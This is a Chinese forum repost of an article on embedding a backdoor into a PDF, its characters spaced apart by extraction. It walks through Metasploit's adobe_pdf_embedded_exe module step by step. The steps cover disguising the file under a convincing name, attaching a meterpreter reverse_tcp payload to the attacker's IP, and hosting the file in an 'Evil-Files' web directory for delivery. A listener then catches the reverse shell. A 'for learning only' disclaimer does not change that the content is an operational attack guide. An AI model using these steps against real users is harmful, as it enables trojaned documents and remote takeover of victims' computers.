搜索

[28876] 2021-04-24_将后门嵌入到PDF文件中

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-04-24_将后门嵌入到PDF文件中 将 后 门 嵌 入 到 P D F 文 件 中 O t s 安 全   2 0 2 1 - 0 4 - 2 4 A d o b e 在 安 全 性 方 面 一 直 处 于 次 等 地 位 ， 随 后 ， 相 当 数 量 的 客 户 操 作 系 统 容 易 受 到 攻 击 。 P D F 或 可 移 植 文 档 格 式 是 一 种 极 为 复 杂 的 文 件 格 式 ， 由 许 多 模 型 和 半 原 理 表 示 。 与 H T M L 和 C S S 一 样 ， 它 也 用 于 文 档 的 布 局 和 介 绍 。 此 外 ， 像 H T M L 和 C S S 一 样 ， 它 还 通 过 J a v a S c r i p t 引 擎 和 文 档 A P I 进 行 了 扩 展 ， 使 开 发 人 员 能 够 将 P D F 报 告 转 换 为 应 用 程 序 或 恶 意 软 件 代 理 。 提 示 ： 该 文 章 仅 用 学 习 参 考 阅 读 器 是 最 常 用 的 A d o b e 产 品 之 一 。 几 乎 每 台 P C 上 都 有 一 些 A d o b e   R e a d e r 变 体 ， 可 用 于 阅 读 P D F 。 您 大 概 也 有 。 但 是 ， 大 多 数 人 都 不 知 道 R e a d e r 遇 到 的 安 全 问 题 - 他 们 忽 略 了 升 级 或 修 复 它 。 在 本 文 中 ， 我 们 将 向 您 展 示 如 何 使 用 恶 意 P D F 文 件 来 破 坏 目 标 计 算 机 。 首 先 ， 启 动 m s f c o n s o l e 并 搜 索 “   a d o b e _ p d f ” 漏 洞 。 M e t a s p l o i t 将 为 您 提 供 针 对 各 种 操 作 系 统 设 计 的 众 多 漏 洞 。 我 们 将 使 用 的 是 为 W i n d o w s 系 统 设 计 的 “ 例 如 ： e x p l o i t   /   w i n d o w s   /   f i l e f o r m a t   /   a d o b e _ p d f _ e m b e d d e d _ e x e ”   ( m s f   >   u s e   e x p l o i t / w i n d o w s / f i l e f o r m a t / a d o b e _ p d f _ e m b e d d e d _ e x e ) .
现 在 ， 我 们 应 该 查 看 关 于 此 漏 洞 的 可 访 问 数 据 ， 为 此 ， 请 键 入 “ 显 示 选 项 ” 命 令 。 它 将 向 您 显 示 有 关 P D F 名 称 和 默 认 基 本 P D F 文 件 位 置 的 默 认 信 息 。 我 们 需 要 更 改 它 并 创 建 我 们 的 恶 意 P D F 文 件 。 在 开 始 本 教 程 之 前 ， 我 们 从 网 站 上 下 载 了 “   c y b e r s e c u r i t y - 1 0 1 . p d f ” 文 件 ， 因 此 我 们 将 在 该 文 件 中 嵌 入 后 门 。 为 此 ， 我 们 需 要 设 置 “   I N F I L E N A M E ” 选 项 并 提 供 指 向 “   c y b e r s e c u r i t y - 1 0 1 . p d f ” 文 件 的 直 接 路 径 。 接 下 来 ， 我 们 应 通 过 设 置 “   F I L E N A M E ” 将 新 创 建 的 恶 意 P D F 文 件 的 名 称 更 改 为 更 令 人 信 服 的 名 称 。 选 项 。 最 后 ， 您 可 以 创 建 自 己 的 警 报 消 息 ， 一 旦 运 行 恶 意 P D F 文 件 ， 该 警 报 消 息 就 会 显 示 在 目 标 计 算 机 上 （ 此 部 分 是 可 选 的 ） 。 为 此 ， 您 需 要 设 置 “   L A U N C H _ M E S S A G E ” 选 项 并 提 供 所 需 的 任 何 警 告 或 警 报 消 息 。 基 本 设 置 完 成 后 ， 我 们 需 要 找 到 一 个 有 效 载 荷 以 将 其 嵌 入 P D F 文 件 中 。 键 入 “ 显 示 有 效 载 荷 ” 命 令 以 列 出 所 有 可 用 的 有 效 载 荷 ， 然 后 选 择 您 感 兴 趣 的 载 荷 之 一 。 在 此 示 例 中 ， 我 们 将 使 用 “   w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ t c p ” 有 效 负 载 。 将 “   P A Y L O A D ” 选 项 设 置 为 “   w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ t c p ” ， 然 后 按 “   E n t e r ” 。 键 入 “ 显 示 选 项 ” 命 令 以 列 出 可 以 进 一 步 设 置 的 所 有 可 用 选 项 。
将 “   L H O S T ” 选 项 设 置 为 攻 击 者 的 I P ， 然 后 键 入 “   e x p l o i t ” 以 创 建 恶 意 P D F 文 件 。 您 也 可 以 将 默 认 端 口 号 更 改 为 您 喜 欢 的 任 何 端 口 号 ， 但 是 在 这 种 情 况 下 ， 我 们 将 保 持 不 变 。 生 成 过 程 成 功 完 成 后 ， 您 的 后 门 P D F 文 件 将 存 储 在 “   / r o o t / . m s f 4 / l o c a l / C y b e r s e c u r i t y . p d f ” 位 置 。 现 在 ， 让 我 们 将 该 文 件 移 至 我 们 的 W e b 服 务 器 ， 以 便 我 们 可 以 将 其 有 效 地 传 递 到 目 标 计 算 机 。 例 如 ： 在 目 标 计 算 机 上 运 行 恶 意 P D F 文 件 之 前 ， 我 们 需 要 启 动 侦 听 器 以 侦 听 传 入 的 连 接 。 为 此 ， 我 们 将 使 用 “   e x p l o i t   /   m u l t i   /   h a n d l e r ” 和 “ w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ t c p ” 有 效 负 载 。 将 “   L H O S T ” 选 项 设 置 为 攻 击 者 的 I P ， 并 将 “   L P O R T ” 设 置 为 在 创 建 恶 意 P D F 文 件 时 使 用 的 端 口 号 。 在 此 示 例 中 ， 我 们 保 留 了 默 认 端 口 ， 因 此 我 们 将 不 会 对 其 进 行 更 改 并 保 持 原 样 。 然 后 输 入 “   e x p l o i t ” 开 始 收 听 。 在 目 标 计 算 机 中 执 行 完 P D F 文 件 后 ， 它 将 显 示 合 法 的 P D F 文 件 内 容 ， 但 是 在 后 台 ， 我 们 的 恶 意 后 门 将 运 行 并 将 反 向 外 壳 连 接 发 送 给 r o o t   @   k a l i ： 〜 ＃ m v   / r o o t / . m s f 4 / l o c a l / C y b e r s e c u r i t y . p d f   /   v a r   /   w w w   /   h t m l   /   E v i l - F i l e s   /
攻 击 者 计 算 机 。 A d o b e 的 项 目 存 在 各 种 安 全 问 题 ， 包 括 A d o b e   R e a d e r ， I l l u s t r a t o r ， F l a s h 等 。 苹 果 限 制 i O S 上 的 F l a s h 的 安 全 漏 洞 只 占 一 半 。 A d o b e 在 安 全 性 方 面 一 直 处 于 次 等 地 位 ， 随 后 ， 相 当 数 量 的 客 户 操 作 系 统 容 易 受 到 攻 击 。 提 示 ： 该 文 章 仅 用 学 习 参 考 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理